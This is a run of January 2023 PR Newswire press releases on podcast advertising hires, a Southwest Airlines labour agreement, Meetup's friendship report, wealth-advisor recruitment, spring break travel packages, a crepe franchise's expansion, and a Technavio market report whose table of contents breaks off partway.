On the advertising side, Jay started his journey persuading brand managers to dip their toes into a relatively new form of advertising through podcasts, and quickly turned accounts into full-fledged advertising budgets comparable to traditional forms of media. His work has resulted in sponsorship deals being secured on the largest scale with first-time brand advertisers such as American Express, Walmart, Guitar Center, and Bose. In another industry first, Jay helped to execute CPG measurement campaigns with a Fortune 500 Company, Claritas, and IRI. Now at Soundrise, Jay will look to uncover what firsts can be accomplished in the world of independent podcasters.

"With his background, Jay has both the creativity and industry experience to bridge the gap between the largest advertisers and the niche creators. The podcast industry is at an exciting inflection point with incredible opportunity ahead for independent creators and mission-driven audio. As we get into this next phase, Jay's history and success navigating the industry from the very beginning will be an invaluable asset to our partners," said Harry Clark, CEO of Soundrise. "On the sales side, Lovlyn brings experience working alongside some of the largest brands and advertisers in the audio space. Their combined expertise will help evolve our strategies and scale our operational capacity to grow the company, helping creators, advertisers, and listeners alike."

Previously a Vice President at Kantar, Lovlyn Corbett crafted solutions for west coast ad agencies, marketers, and adtech, including some of the largest brands in the world like Amazon, Mazda, Intel, and Disney. Before that, she spent 10 years on the audio side with Nielsen Audio, turning audio measurement and audience metrics into actionable insights for radio stations. She brings expertise in optimizing advertising effectiveness to ensure Soundrise customers are getting the most out of their advertising spend, while truly understanding what makes a strong audio campaign.

About Soundrise

Soundrise is the premier revenue-focused partner for mission-driven, independent podcasting, delivering dedicated sales and marketing to connect a diverse array of creative voices with values-aligned brands. A spinoff of the industry-leading public media sales team at Market Enginuity, Soundrise is an alliance of non-profit and independent podcast networks, representing shows that open eyes, change perspectives, and shape worlds. Soundrise connects them with brands who celebrate creativity and innovation  offering marketers access to premium audio inventory at scale, while allowing unique storytellers to thrive in the competitive digital audio industry. To learn more visit wearesoundrise.com .

SOURCE Soundrise
DALLAS, Jan. 23, 2023 /PRNewswire/ -- Southwest Airlines Co. (NYSE: LUV) and the Transport Workers Union Local 550 (TWU 550) today announced they reached a Tentative Agreement for the airline's Dispatch Employees.

"This agreement rewards our Dispatch Employees for their many contributions while also supporting the needs of our business," said Adam Carlisle, Vice President Labor Relations at Southwest Airlines. "I appreciate the partnership and dedication from both Negotiating Teams as they worked to reach this agreement."

"On behalf of the TWU 550 Board, I would like to thank the Negotiating Teams from both TWU 550 and Southwest for the tireless work and effort they put into negotiating our latest Tentative Agreement," said Brian Brown, President of the TWU 550. "This agreement brings our members industry-leading pay, quality of life improvements, and work rules that benefit our members and help maintain Southwest's competitive edge in the industry."

This Tentative Agreement covers Southwest's more than 450 Flight Dispatchers, Assistant Dispatchers, Flight Superintendents, Dispatch Specialists, and Dispatch ATC Specialists. The TWU 550 will share details directly with its members about the agreement and the voting process.

ABOUT SOUTHWEST AIRLINES CO.

Southwest Airlines Co. operates one of the world's most admired and awarded airlines, offering its one-of-a-kind value and Hospitality at 121 airports across 11 countries. Having celebrated its 50th Anniversary in 2021, Southwest took flight in 1971 to democratize the sky through friendly, reliable, and low-cost air travel and now carries more air travelers flying nonstop within the United States than any other airline.1 Based in Dallas and famous for an Employee-first corporate Culture, Southwest maintains an unprecedented record of no involuntary furloughs or layoffs in its history. By empowering its more than 64,0002 People to deliver unparalleled Hospitality, the maverick airline cherishes a passionate loyalty among as many as 130 million Customers carried a year. That formula for success brought industry-leading prosperity and 47 consecutive years3 of profitability for Southwest Shareholders (NYSE: LUV). Southwest leverages a unique legacy and mission to serve communities around the world including harnessing the power of its People and Purpose to put communities at the Heart of its success. Learn more by visiting Southwest.com/citizenship. Southwest is also continuing to develop tangible steps toward achieving carbon neutrality by 2050, including offering Customers an opportunity to help the airline offset its carbon emissions. To be part of the solution, visit Southwest.com/wannaoffsetcarbon.

1) U.S. Dept. of Transportation most recent reporting of domestic originating passengers boarded

2) Fulltime-equivalent active Employees

3) 1973-2019 annual profitability

SOURCE Southwest Airlines Co.
What, How and Where People are Meeting, and the Most Outgoing Countries, Cities and States

NEW YORK, Jan. 24, 2023 /PRNewswire/ -- Meetup, the leading platform that connects people over shared interests at events, today revealed its Meetup Measurement Report, 2023. This inaugural report focuses on the state of friendships detailing the hobbies people have, what activities and interests bring people together, and insights into which countries, cities and states are the most outgoing. The report is based on actual behavioral data of those using Meetup. The platform has more than 60-million registered users organizing, searching, joining and attending in-person and live, virtual Meetup events.

Friendships are the hot topic on Meetup. Tweet this The State of Friendships: Meetup Measurement Report, 2023 looks closely at its data from the past twelve months, and going back to 2019 to view trends from pre-pandemic to today. Meetup shares its insights into the hobbies people have, the activities which bring people together, along with first-hand accounts of how adult friendships have been formed.

The complete report can be downloaded at https://bit.ly/Meetup2023Report , and some of the themes include:

Making friends remains top of mind

The number of hobbies people pursue on average, and which hobbies are most popular

Real Meetup stories of friendship

Most outgoing countries, states, and cities in the U.S. and abroad

Trending event searches and the most popular events

"As studies point to a loneliness epidemic, we felt a great responsibility to share what we know about the state of friendships," said David Siegel, CEO of Meetup. "Our global data and insights will be enlightening, encouraging, and hopefully, will serve as a reminder to those who feel lonely that new friends may be a Meetup event away."

People are pro-actively seeking connections, and this is indicated in the data. In the first 19 days of January 2023 compared to the same time in 2022, Meetup event registrations were up 14% and up by 37% from the same time in 2021. People are actively looking to get together in 2023, and they want to meet face-to-face. As the report reveals, 71% of all Meetup events were in person.

The State of Friendships: Meetup Measurement Report, 2023 looks closely at its data from the past twelve months, and going back to 2019 to view trends from pre-pandemic to today. Meetup shares its insights into the hobbies people have, the activities which bring people together, along with first-hand accounts of how adult friendships have been formed. Download the full report at https://bit.ly/Meetup2023Report , and below are a few highlights.

HOBBIES AND INTERESTS

In the past twelve months, Meetup has identified that people, on average, have 2.4 hobbies or interests and join five different groups to pursue those interests. To look into that more deeply:

Most people focus on their #1 hobby with nearly six in ten people (59%) joining five groups within the same category of interest

Nearly three out of ten people (29.25%) have two to four different hobbies or interests

12% have more than five hobbies or interests they'd like to pursue

What People Are Looking To Do

Friendships are the hot topic - 2022 ended with "Friends" being the most searched term when looking for Meetup events. It used to be that friends were a by-product of Meetup events, and in a huge shift, people are now using Meetup with the intention of creating friendships, prioritizing the need to make friends over a particular hobby, interest or activity.

2022 ended with "Friends" being the most searched term when looking for Meetup events. It used to be that friends were a by-product of Meetup events, and in a huge shift, people are now using Meetup with the intention of creating friendships, prioritizing the need to make friends over a particular hobby, interest or activity. Singles is back in the top 5 coming in at #4. This was the #2 most popular event search in 2019 (pre-pandemic), but during the pandemic, it dropped from its #2 spot to #6 (in 2020), and then it barely remained in the top ten in the #10 in 2021.

Queer & LGBTQ is the #5 most popular event search in 2022 which was a huge jump from #135 in 2021

Book clubs are back in the top ten of most searched events after a dip in 2021 to #12. Previously, it was #8 in 2020 and in 2019; #9 in 2022

REAL STORIES OF NEW FRIENDSHIPS

There are thousands of real Meetup stories with people fostering new connections. The report showcases a few that represent some of the best in humanity. People who met at Meetup events and created true friendships, best friends, friends who have traveled the world, friends who have supported each other through crises, and relationships that resulted in marriage. Download the report to read a few of Meetup's favorite, real Meetup stories.

MOST OUTGOING COUNTRIES, CITIES, U.S. STATES

Of the 193 countries and 10,000 cities where Meetup is used, the report includes lists of those that are the most outgoing based on actual user data of people creating and registering for Meetup events. Below is an excerpt from the top 50 cities in the U.S list. That complete list is found in the report, along with the following lists:

Top ten most outgoing countries

The most (and least) outgoing states in the U.S. and its territories

The 50 most outgoing cities (U.S.)

The 50 most outgoing cities (outside of the U.S.)

Top Ten Most Outgoing Cities (U.S. and territories)

Looking at America's cities that are the most active in organizing and attending events through Meetup, the Big Peach, Atlanta, leads the pack. A list of the top 50 cities can be found in the report, and below is an excerpted list.

Atlanta, GA Palo Alto, CA Mountain View, CA Fort Lauderdale, FL Marietta, GA Santa Monica, CA Orlando, FL Boulder, CO Cambridge, MA Salt Lake City, UT

About Meetup

Meetup is the social media platform for finding and building communities of people who meet about common interests. Established in 2002, the company remains true to its mission of helping people grow and achieve their personal or professional goals through authentic, human connections. Meetup has more than 60 million registered members across 330,000 groups active in 193 countries and 10,000 cities around the world.

Meet people who share your interests or try something new by downloading the Meetup app or visiting Meetup.com ( https://www.meetup.com/ ) where anyone can join for free with an email address. To organize a Meetup group please visit Meetup here , and for enterprise solutions visit Meetup Pro ( https://www.meetup.com/pro ). Follow Meetup on Twitter , Instagram , TikTok , and Facebook (@Meetup).

METHODOLOGY

Meetup looked at its platform's event searches as an indicator of what people are looking to do in the near future, group searches as an indication of what people want to do long-term and for an ongoing basis, as well as the most popular events of 2022 and keyword searches. Meetup looked at its data across the past four years to create this report and also used public domain information on populations to create the per capita lists for countries, states and cities.

SOURCE Meetup
BEACHWOOD, Ohio, Jan. 24, 2023 /PRNewswire/ -- Stratos Wealth Holdings ("Stratos"), a family of companies focused on the support and success of independent financial advisors, added 23 financial advisors managing more than $3.6 billion in assets under advisement on their prior platforms.

"Our culture and value proposition continues to resonate strongly with financial advisors throughout the country. Providing the ability for advisors to launch, take ownership and operate their own business, but not go at it alone, has proved very compelling," said Charles Shapiro, Stratos Founding Partner, and Chief Development Officer. "Delivering critical resources important to the growth of a financial advisory practice in areas such as business development, enhanced technology and practice acquisition allows our Financial Advisor partners to do what they do best - provide clients with top-tier advice and an outstanding experience."

Stratos made several key minority equity stake acquisitions during 2022, including a controlling interest in NSC Asesores ("NSC"), a premier wealth management and investment firm headquartered in Mexico City.

Jeff Concepcion, Stratos Founder and Chief Executive Officer, said, "We created a platform and model that will serve us well in this, and future practice acquisitions. Looking ahead, we see enormous opportunities to reinforce our industry leadership based on our unique advisor-centric culture, strong capital position and willingness to invest in the future. We're excited to continue the strong momentum we have generated in supporting the businesses of advisors who work in association with us - in growing our advisor talent as well as acquiring financial advisory practices to our platforms."

Stratos received a WSR Wealth Exemplar Award for Private Equity-Backed Firm of the Year and an Investment News Women to Watch Ascension Award for having women comprise at least 30% of its C-suite.

Michael O'Brien, Managing Partner, and Director of National Sales, added, "What we are most excited about and proud of is the caliber of the partners who have chosen to affiliate with Stratos. The advisor practices and talent we have brought on continue to help fuel the growth of their respective practices as well as Stratos'."

Multiple Stratos-affiliated financial advisors have received industry honors and established specialization in in specific areas of client's needs, such as Special Needs Planning for families and Financial Planning for Women in Transition.

About Stratos Wealth Holdings

Stratos Wealth Holdings is a family of companies focused on supporting the growth and success of financial advisors across business models and affiliation structures. Stratos companies include Stratos Wealth Partners, Stratos Wealth Advisors, and Fundamentum. Stratos includes a national net network of over 340 financial advisors and financial planning practitioners working across 29 states throughout the country.

Stratos Wealth Partners, Ltd., an SEC Registered Investment Advisor, manages over $9.6 billion in advisory assets, and advises through LPL Financial, over $6.9 billion in brokerage and third party managed assets for a total of $16.5 billion as of December 31, 2022. Fundamentum, LLC, an SEC Registered Investment Advisor, manages over $1 billion in advisory assets as of September 30, 2022.

Stratos Wealth Advisors, LLC, an SEC Registered Investment Advisor, manages over $2.8 billion in advisory assets and over $12 million in third party managed assets as of December 31, 2022.

Stratos Wealth Management DBA LPL Financial, an SEC Registered Investment Advisor, manages over $287 million in advisory assets, and advises through LPL Financial, over $304 million in brokerage and third party managed assets for a total of $591 million as of December 31, 2022.

Fundamentum, LLC, an SEC Registered Investment Advisor, manages over $1.1 billion in advisory assets as of December 31, 2022.

Media Contact:

Kevin Elvington

(440) 505-5608

[email protected]

stratoswealthpartners.com

(Any references to a firm being registered as an investment adviser or its related persons as registered advisory representatives does not imply a certain level of skill or training)

SOURCE Stratos Wealth
ANNAPOLIS, Md., Jan. 24, 2023 /PRNewswire/ -- STSTravel.com is excited to announce the release of their VIP Party Packages for Spring Break 2023 in Cabo, Cancun, Nassau, and Punta Cana. These packages offer college students the ultimate spring break experience with open bar parties and events at the hottest clubs featuring top talent such as Morten, Borgeous, Timmy Trumpet, Dzeko, MADDS, Twinsick and more.

This party cruise holds 400 passengers on board the Black Beard Revenge. VIP Party Packages offer college students the ultimate spring break experience with open bar parties and events at the hottest clubs.

Cancun

STS Travel has partnered with the best clubs in Cancun including Mandala, The City, D' Cave, Mandal Beach, Coco Bongo and Coco Bongo Beach Club to offer the ultimate party experience. VIP Party Packages also include the famous Spring Break Party cruise, a 4-hour cruise to Isla Mujeres complete with open bar, snacks, DJ, and private beach club.

Nassau

The VIP Party Schedule in Nassau includes open bar parties at Senor Frogs, Club Waterloo, and the Spring Break Party Cruise. This party cruise holds 400 passengers on board the Black Beard Revenge. Check out top DJ's Dzeko March 7th and MADDS March 14th performing at Breezes Resort.

Punta Cana

STS Travel has organized open bar parties at Imagine, Coco Bongo, and Batu in Punta Cana. Batu will feature special events with DJ MADDS March 7th and DJ Twinsick March 14th. The VIP Party Schedule includes the wild Spring Break Party cruise with open bar and DJ's.

Cabo

Cabo features spectacular nightlife and STS Travel has scheduled open bar parties at Squid Roe, Mandala, La Vaquita, The City, and Mango Deck. The VIP Party schedule includes events at Mango Deck starring Lil John March 8th, Fisher March 15, Wethan March 21, and John Summit March 28. The Spring Break Party Cruise includes open bar, fajita buffet and the resident DJ to keep the party going.

About Student Travel Services

STS Travel is a leading provider of Spring Break vacation packages for college students. Our packages are designed to make planning your Spring Break easy and include round-trip airfare, hotel transfers, all-inclusive resort accommodations, and a full schedule of daily parties, contests, DJs, and events. Additionally, our optional VIP Party Package offers exclusive access to some of the most popular nightlife venues in Nassau Bahamas, Cancun, Punta Cana, and Cabo San Lucas Mexico. To book your Spring Break Travel Package, visit our website at www.ststravel.com or give us a call at 800-648-4849.

Media contact:

Jake Jacobsen

[email protected]

410-995-8526

SOURCE STS Travel
Houston-Based Fast-Casual Franchise Breaks into New Markets as the Emerging Brand Builds on Momentous Year

HOUSTON, Jan. 24, 2023 /PRNewswire/ -- Sweet Paris Creperie & Cafe , the ultra-popular restaurant brand specializing in sweet and savory crepes, experienced a record-breaking 2022 with 14% same-store-sales growth, above the fast casual industry average. On top of Sweet Paris' impressive sales numbers, the brand also signed a multi-unit deal that will bring four stores to Minnesota, specifically the Minneapolis and St. Paul areas, and officially opened its first Florida location in the month of December.

Sweet Paris was founded in 2012 by Allison and Ivan Chavez, and has quickly become one of the hottest restaurant franchises in the country with its Instagram-worthy, French-inspired interiors and delicious food and drinks made of the highest quality ingredients and bold flavors. The duo met as undergraduate students at the Wharton School of Business at the University of Pennsylvania and bonded over a love for crepes, soon making it their mission to "Revive the Art of Eating Crepes" and traveling the world in search of flavors and new ways to bring this popular street food to market. Made from scratch, the dishes are as delicious as they are beautiful.

"We are thrilled to see Sweet Paris expanding to new markets and achieving strong performance even during such challenging times  it's been a testament to our strong business model, high-quality products, and loyal customer base," said Allison Chavez Co-owner of Sweet Paris. "The key to our success in 2022 was being able to sustain sales growth throughout our portfolio of restaurants by enhancing our guest experience and implementing creative menu engineering strategies as we continued to grow our brand footprint."

Sweet Paris is now present in four metropolitan areas across the nation: Houston TX, Austin, TX, San Antonio TX, , and Miami, FL, with four more being added with stores in development in Dallas/Fort Worth, TX, Minneapolis/St. Paul, MN, Oklahoma City, OK and Tulsa, OK. Additionally, the brand has locations in College Station, TX and Mexico. A total of 14 additional units are currently in various stages of development, that will bring Sweet Paris' total store count to 26 in the near future.

Sweet Paris has big plans for the year ahead including strengthening its expansions efforts to become a nationwide brand. The franchise will open three stores in 2023, one corporate owned and operated store in Miami, one franchised store in Dallas and one franchised store in Minneapolis-St. Paul. Additionally, the brand aims to award five new franchises with strategic partners interested in bringing Sweet Paris to their communities.

"We are grateful for the opportunities and growth 2023 has in store for Sweet Paris," said Ivan Chavez Co-owner of Sweet Paris. "The multi-unit deal in Minnesota and the anticipation of new agreements in exciting destinations will help us achieve our development goals and expand our brand nationwide."

The success of Sweet Paris has not gone unnoticed as the brand was ranked on Entrepreneur Magazine's 2022 Top New and Emerging Franchises in addition to the Franchise 500 list . Also, co-founders Allison and Ivan Chavez landed on Global Franchise Magazine's 10 Emerging Leaders to Watch in 2022, and Allison was included in Nation's Restaurant News' annual Power List , an exclusive group of 50 leaders who are identified as the most innovative and inspiring people in the restaurant industry.

Sweet Paris is looking to partner with qualified and engaged individuals seeking multi-unit opportunities through its strategic partnership model. The brand offers a highly scalable opportunity with strong profit-potential.

For more information on Strategic Partnership opportunities, please visit www.sweetparisfranchise.com.

ABOUT SWEET PARIS:

Sweet Paris Creperie & Cafe is a fast-growing restaurant franchise specializing in sweet and savory crepes, waffles, salads, hot drinks and more. On a mission to "Revive the Art of Eating Crepes" one creperie at a time, Sweet Paris is seeking qualified Strategic Partners, especially those with a background in hospitality, to expand the concept in new markets. For more information about the brand, please visit www.sweetparis.com, and for more information on Strategic Partnership Opportunities, visit www.sweetparisfranchise.com.

SOURCE Sweet Paris
NEW YORK, Jan. 23, 2023 /PRNewswire/ -- According to Technavio, the global test and measurement market size is estimated to grow by USD 9,119.5 million from 2022 to 2027. However, the growth momentum of the market will accelerate at a CAGR of 5.1%. North America will account for 36% of the growth of the global market during the forecast period.

For more Insights on market size Request a sample report

Technavio has announced its latest market research report titled Global Test and Measurement Market 2023-2027

Global test and measurement market - Five Forces

The global cloud data warehouse market is fragmented, and the five forces analysis covers

Bargaining power of buyers

The threat of new entrants

Threat of rivalry

Bargaining power of suppliers

Threat of substitutes

Interpretation of porter's five models helps to strategize the business, for entire details  buy the report!

Global test and measurement market  Customer Landscape

The report includes the market's adoption lifecycle, from the innovator's stage to the laggard's stage. It focuses on adoption rates in different regions based on penetration. Furthermore, the report also includes key purchase criteria and drivers of price sensitivity to help companies evaluate and develop their growth strategies.

Global test and measurement market - Segmentation Assessment

Segment Overview

Technavio has segmented the market based on products (Wireless test equipment, GPTE, Semiconductor test equipment, and Real-time test equipment), and end-user (Aerospace and Defense, Telecommunication, Semiconductor and electronics, and Others).

The wireless test equipment segment will grow at a significant rate during the forecast period. There will be a huge demand for such testing equipment due to the increase in smartphone demand. This wireless testing and measuring equipment is used by mobile phone manufacturers to test their phones based on various technology formats, such as LTE, global system for mobile communications (GSM), worldwide interoperability for microwave access (WiMAX), and general packet radio service (GPRS). In addition, the development of 5G technologies will create a great impact in developed regions like North America and Europe , which will drive the global market. Therefore, such factors will boost segment growth during the forecast period.

Geography Overview

By geography, the global test and measurement market is segmented into North America, APAC, Europe, South America, and Middle East and Africa. The report provides actionable insights and estimates the contribution of all regions to the growth of the global test and measurement market.

North America is estimated to account for 36% of the growth of the global market during the forecast period. This is because of the growth of telecommunication, healthcare, manufacturing, and other sectors in the US and the high spending on defense aircraft by the country's government. The automotive industry in the US also contributes significantly to market growth in the country, owing to the high adoption of advanced equipment. Various manufacturers from different industries are focusing on establishing their operations in the US owing to its abundant natural resources, political stability, highly educated and productive workforce, and business-conducive environment. Canada and Mexico are also significant revenue contributors to the market in North America due to the increasing demand for test and measurement equipment from the communications and electronic sectors.

Download a Sample Report

Global test and measurement market  Market Dynamics

Key factor driving market growth

The increase in the number of smart-connected devices is notably driving the test and measurement equipment market growth .

is notably driving the test and measurement equipment market growth The performance of smart consumer electronics products is optimized through technological advances and innovations such as a 4K display and surface-mount technology (SMT) components, and they are connected over a network.

display and surface-mount technology (SMT) components, and they are connected over a network. The functionality of these innovations depends on the performance of the components and internal circuits.

Furthermore, most of the technologies depend on digital processing and require testing before they are launched in the market.

Therefore, the development of smart consumer electronics products is estimated to increase the demand for such equipment which is expected to fuel the growth of the global market during the forecast period.

Leading trends influencing the market

Recent development in test and measurement equipment are emerging trends in the test and measurement equipment market .

are emerging trends in the test and measurement equipment market The global market is witnessing a range of new product launches owing to the increase in demand. The new product will further motivate consumers to purchase such equipment.

Furthermore, these new product launches also increase the competition in the market, which, in turn, will lead to innovation and differentiation.

One of the important product launches in 2021 have been by Viavi Solutions Inc. (VIAVI Solutions).

It announced the launch of the new fiber test and measurement solutions, expanding the industry's most complete portfolio for fiber-optic testing. Such types of developments are expected to fuel the growth of the global market during the forecast period.

Major challenges hindering the market growth

Economic volatility and the highly cyclic nature of the electronics industry are major challenges impeding test and measurement equipment market growth.

are major challenges impeding test and measurement equipment market growth. The sale of electronic goods and equipment is highly cyclic in nature, and their demand varies greatly with the economy, due to which the industry may have wide fluctuations in unit demand for their products. Since the cycle of technology and seasonal demand is largely unpredictable, it becomes a challenge for many companies to adjust rapidly to changes in market conditions.

One of the major drivers for the short lifecycle of smartphones and other electronic devices these days is that when a new product with novel features is launched, people are compelled to upgrade to these latest devices. But, this trend is very hard to maintain for long periods of time as technological limitations grow closer.

The lack of additional new features or technological changes in devices will ultimately lead to restrained demand for electronic devices. Hence, such factors are expected to hamper the growth of the global market during the forecast period.

Drivers, trends, and challenges have an impact on market dynamics, which can impact

businesses. Find more insights in a sample report!

What are the key data covered in this test and measurement market report?

CAGR of the market during the forecast period

Detailed information on factors that will drive the growth of the test and measurement market between 2023 and 2027

Precise estimation of the test and measurement market size and its contribution to the market in focus on the parent market

Accurate predictions about upcoming trends and changes in consumer behavior

Growth of the test and measurement market across North America , APAC, Europe , South America , and Middle East and Africa

, APAC, , , and and A thorough analysis of the market's competitive landscape and detailed information about vendors

Comprehensive analysis of factors that will challenge the growth of test and measurement market vendors

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Test And Measurement Market Scope Report Coverage Details Page number 183 Base year 2022 Historic period 2017-2021 Forecast period 2023-2027 Growth momentum & CAGR Accelerate at a CAGR of 5.1% Market growth 2023-2027 USD 9,119.5 million Market structure Fragmented YoY growth 2022-2023 (%) 3.56 Regional analysis North America, APAC, Europe, South America, and Middle East and Africa Performing market contribution North America at 36% Key countries US, China, Japan, South Korea, and Germany Competitive landscape Leading Vendors, Market Positioning of Vendors, Competitive Strategies, and Industry Risks Key companies profiled Advantest Corp., Anritsu Corp., Ceyear Technologies Co. Ltd., EXFO Inc., Fastech Telecommunications, Fortive Corp., Good Will Instrument Co. Ltd., Hitachi Ltd., Keysight Technologies Inc., Mission Critical Electronics, National Instruments Corp., Premier Measurement Solutions Pvt. Ltd., Qmax Test Equipments Pvt. Ltd., Rohde and Schwarz GmbH and Co. KG, Scientech Technologies Pvt. Ltd., SPX Corp., Teradyne Inc., Thermo Fisher Scientific Inc., Viavi Solutions Inc., and Yokogawa Electric Corp. Market dynamics Parent market analysis, Market growth inducers and obstacles, Fast-growing and slow-growing segment analysis, COVID-19 impact and recovery analysis and future consumer dynamics, and Market condition analysis for the forecast period. Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized.

Table of contents

1 Executive Summary

1.1 Market overview

Exhibit 01: Executive Summary  Chart on Market Overview



Exhibit 02: Executive Summary  Data Table on Market Overview



Exhibit 03: Executive Summary  Chart on Global Market Characteristics



Exhibit 04: Executive Summary  Chart on Market by Geography



Exhibit 05: Executive Summary  Chart on Market Segmentation by Product



Exhibit 06: Executive Summary  Chart on Market Segmentation by End-user



Exhibit 07: Executive Summary  Chart on Incremental Growth



Exhibit 08: Executive Summary  Data Table on Incremental Growth



Exhibit 09: Executive Summary  Chart on Vendor Market Positioning

2 Market Landscape

2.1 Market ecosystem

Exhibit 10: Parent market



Exhibit 11: Market Characteristics

3 Market Sizing

3.1 Market definition

Exhibit 12: Offerings of vendors included in the market definition

3.2 Market segment analysis

Exhibit 13: Market segments

3.3 Market size 2022

3.4 Market outlook: Forecast for 2022-2027

Exhibit 14: Chart on Global - Market size and forecast 2022-2027 ($ million)



Exhibit 15: Data Table on Global - Market size and forecast 2022-2027 ($ million)



Exhibit 16: Chart on Global Market: Year-over-year growth 2022-2027 (%)



Exhibit 17: Data Table on Global Market: Year-over-year growth 2022-2027 (%)

4 Historic Market Size

4.1 Global test and measurement market 2017 - 2021

Exhibit 18: Historic Market Size  Data Table on Global test and measurement market 2017 - 2021 ($ million)

4.2 Product Segment Analysis 2017 - 2021

Exhibit 19: Historic Market Size  Product Segment 2017 - 2021 ($ million)

4.3 End-user Segment Analysis 2017 - 2021

Exhibit 20: Historic Market Size  End-user Segment 2017 - 2021 ($ million)

4.4 Geography Segment Analysis 2017 - 2021

Exhibit 21: Historic Market Size  Geography Segment 2017 - 2021 ($ million)

4.5 Country Segment Analysis 2017 - 2021

Exhibit 22: Historic Market Size  Country Segment 2017 - 2021 ($ million)

5 Five Forces Analysis

5.1 Five forces summary

Exhibit 23: Five forces analysis - Comparison between 2022 and 2027

5.2 Bargaining power of buyers

Exhibit 24: Chart on Bargaining power of buyers  Impact of key factors 2022 and 2027

5.3 Bargaining power of suppliers

Exhibit 25: Bargaining power of suppliers  Impact of key factors in 2022 and 2027

5.4 Threat of new entrants

Exhibit 26: Threat of new entrants  Impact of key factors in 2022 and 2027

5.5 Threat of substitutes

Exhibit 27: Threat of substitutes  Impact of key factors in 2022 and 2027

5.6 Threat of rivalry

Exhibit 28: Threat of rivalry  Impact of key factors in 2022 and 2027

5.7 Market condition

Exhibit 29: Chart on Market condition - Five forces 2022 and 2027

6 Market Segmentation by Product

6.1 Market segments

Exhibit 30: Chart on Product - Market share 2022-2027 (%)



Exhibit 31: Data Table on Product - Market share 2022-2027 (%)

6.2 Comparison by Product

Exhibit 32: Chart on Comparison by Product



Exhibit 33: Data Table on Comparison by Product

6.3 Wireless test equipment - Market size and forecast 2022-2027

Exhibit 34: Chart on Wireless test equipment - Market size and forecast 2022-2027 ($ million)



Exhibit 35: Data Table on Wireless test equipment - Market size and forecast 2022-2027 ($ million)



Exhibit 36: Chart on Wireless test equipment - Year-over-year growth 2022-2027 (%)



Exhibit 37: Data Table on Wireless test equipment - Year-over-year growth 2022-2027 (%)

6.4 GPTE - Market size and forecast 2022-2027

Exhibit 38: Chart on GPTE - Market size and forecast 2022-2027 ($ million)



Exhibit 39: Data Table on GPTE - Market size and forecast 2022-2027 ($ million)



Exhibit 40: Chart on GPTE - Year-over-year growth 2022-2027 (%)



Exhibit 41: Data Table on GPTE - Year-over-year growth 2022-2027 (%)

6.5 Semiconductor test equipment - Market size and forecast 2022-2027

Exhibit 42: Chart on Semiconductor test equipment - Market size and forecast 2022-2027 ($ million)



Exhibit 43: Data Table on Semiconductor test equipment - Market size and forecast 2022-2027 ($ million)



Exhibit 44: Chart on Semiconductor test equipment - Year-over-year growth 2022-2027 (%)



Exhibit 45: Data Table on Semiconductor test equipment - Year-over-year growth 2022-2027 (%)

6.6 Real-time test equipment - Market size and forecast 2022-2027

Exhibit 46: Chart on Real-time test equipment - Market size and forecast 2022-2027 ($ million)



Exhibit 47: Data Table on Real-time test equipment - Market size and forecast 2022-2027 ($ million)



Exhibit 48: Chart on Real-time test equipment - Year-over-year growth 2022-2027 (%)



Exhibit 49: Data Table on Real-time test equipment - Year-over-year growth 2022-2027 (%)

6.7 Market opportunity by Product

Exhibit 50: Market opportunity by Product ($ million)

7 Market Segmentation by End-user

7.1 Market segments

Exhibit 51: Chart on End-user - Market share 2022-2027 (%)



Exhibit 52: Data Table on End-user - Market share 2022-2027 (%)

7.2 Comparison by End-user

Exhibit 53: Chart on Comparison by End-user



Exhibit 54: Data Table on Comparison by End-user

7.3 Aerospace and defense - Market size and forecast 2022-2027

Exhibit 55: Chart on Aerospace and defense - Market size and forecast 2022-2027 ($ million)



Exhibit 56: Data Table on Aerospace and defense - Market size and forecast 2022-2027 ($ million)



Exhibit 57: Chart on Aerospace and defense - Year-over-year growth 2022-2027 (%)



Exhibit 58: Data Table on Aerospace and defense - Year-over-year growth 2022-2027 (%)

7.4 Telecommunication - Market size and forecast 2022-2027

Exhibit 59: Chart on Telecommunication - Market size and forecast 2022-2027 ($ million)



Exhibit 60: Data Table on Telecommunication - Market size and forecast 2022-2027 ($ million)



Exhibit 61: Chart on Telecommunication - Year-over-year growth 2022-2027 (%)



Exhibit 62: Data Table on Telecommunication - Year-over-year growth 2022-2027 (%)

7.5 Semiconductor and electronics - Market size and forecast 2022-2027

Exhibit 63: Chart on Semiconductor and electronics - Market size and forecast 2022-2027 ($ million)



Exhibit 64: Data Table on Semiconductor and electronics - Market size and forecast 2022-2027 ($ million)



Exhibit 65: Chart on Semiconductor and electronics - Year-over-year growth 2022-2027 (%)



Exhibit 66: Data Table on Semiconductor and electronics - Year-over-year growth 2022-2027 (%)

7.6 Others - Market size and forecast 2022-2027

Exhibit 67: Chart on Others - Market size and forecast 2022-2027 ($ million)



Exhibit 68: Data Table on Others - Market size and forecast 2022-2027 ($ million)



Exhibit 69: Chart on Others - Year-over-year growth 2022-2027 (%)



Exhibit 70: Data Table on Others - Year-over-year growth 2022-2027 (%)

7.7 Market opportunity by End-user

Exhibit 71: Market opportunity by End-user ($ million)

8 Customer Landscape

8.1 Customer landscape overview

Exhibit 72: Analysis of price sensitivity, lifecycle, customer purchase basket, adoption rates, and purchase criteria

9 Geographic Landscape

9.1 Geographic segmentation

Exhibit 73: Chart on Market share by geography 2022-2027 (%)



Exhibit 74: Data Table on Market share by geography 2022-2027 (%)

9.2 Geographic comparison

Exhibit 75: Chart on Geographic comparison



Exhibit 76: Data Table on Geographic comparison

9.3 North America - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 77: Chart on North America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 78: Data Table on North America - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 79: Chart on North America - Year-over-year growth 2022-2027 (%)

- Year-over-year growth 2022-2027 (%)

Exhibit 80: Data Table on North America - Year-over-year growth 2022-2027 (%)

9.4 APAC - Market size and forecast 2022-2027

Exhibit 81: Chart on APAC - Market size and forecast 2022-2027 ($ million)



Exhibit 82: Data Table on APAC - Market size and forecast 2022-2027 ($ million)



Exhibit 83: Chart on APAC - Year-over-year growth 2022-2027 (%)



Exhibit 84: Data Table on APAC - Year-over-year growth 2022-2027 (%)

9.5 Europe - Market size and forecast 2022-2027

- Market size and forecast 2022-2027 Exhibit 85: Chart on Europe - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

Exhibit 86: Data Table on Europe - Market size and forecast 2022-2027 ($ million)

- Market size and forecast 2022-2027 ($ million)

